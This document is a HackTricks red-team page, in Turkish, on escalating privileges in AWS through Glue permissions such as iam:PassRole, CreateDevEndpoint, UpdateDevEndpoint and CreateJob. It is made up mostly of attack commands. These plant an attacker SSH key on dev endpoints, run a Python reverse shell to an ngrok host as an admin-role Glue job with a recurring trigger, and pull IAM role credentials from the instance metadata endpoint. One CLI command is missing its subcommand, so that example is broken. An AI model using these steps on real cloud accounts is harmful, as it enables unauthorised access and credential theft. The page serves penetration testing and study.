AWS - Glue Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Bu izinlere sahip kullanıcılar, yeni bir AWS Glue development endpoint kurabilir, ve Glue tarafından assumable olan mevcut bir service role’ü bu endpoint’e belirli izinlerle atayabilirler.

Kurulumdan sonra, attacker endpoint’in instance’ına SSH ile bağlanabilir, ve atanmış role ait IAM kimlik bilgilerini çalabilir:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir.

Olası Etki: Belirtilen glue servis rolüne Privesc.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Bu izne sahip kullanıcılar, mevcut bir Glue development endpoint’in SSH anahtarını değiştirebilir, bu da ona SSH erişimi sağlar. Bu, saldırganın endpoint’e bağlı rolün ayrıcalıklarıyla komut çalıştırmasına olanak tanır:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Olası Etki: Kullanılan glue service role üzerinde Privesc.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Kullanıcılar, iam:PassRole ile birlikte glue:CreateJob veya glue:UpdateJob ve ayrıca glue:StartJobRun veya glue:CreateTrigger izinlerine sahip olduklarında, herhangi bir Glue service account iliştirerek bir AWS Glue job oluşturabilir veya güncelleyebilir ve job’ın çalıştırılmasını başlatabilir. Job’ın yetenekleri rastgele Python kodu çalıştırmayı içerir; bu, bir reverse shell kurmak için kullanılabilir. Bu reverse shell daha sonra Glue job’a iliştirilmiş rolün IAM credentials’ını exfiltrate etmek için kullanılabilir; bu da söz konusu rolün izinlerine bağlı olarak yetkisiz erişim veya işlemlere yol açabilir:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Olası Etki: Belirtilen glue servis rolüne Privesc.

glue:UpdateJob

Sadece update izniyle bir saldırgan, halihazırda bağlı rolün IAM Credentials’lerini çalabilir.

Olası Etki: Bağlı glue servis rolüne Privesc.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin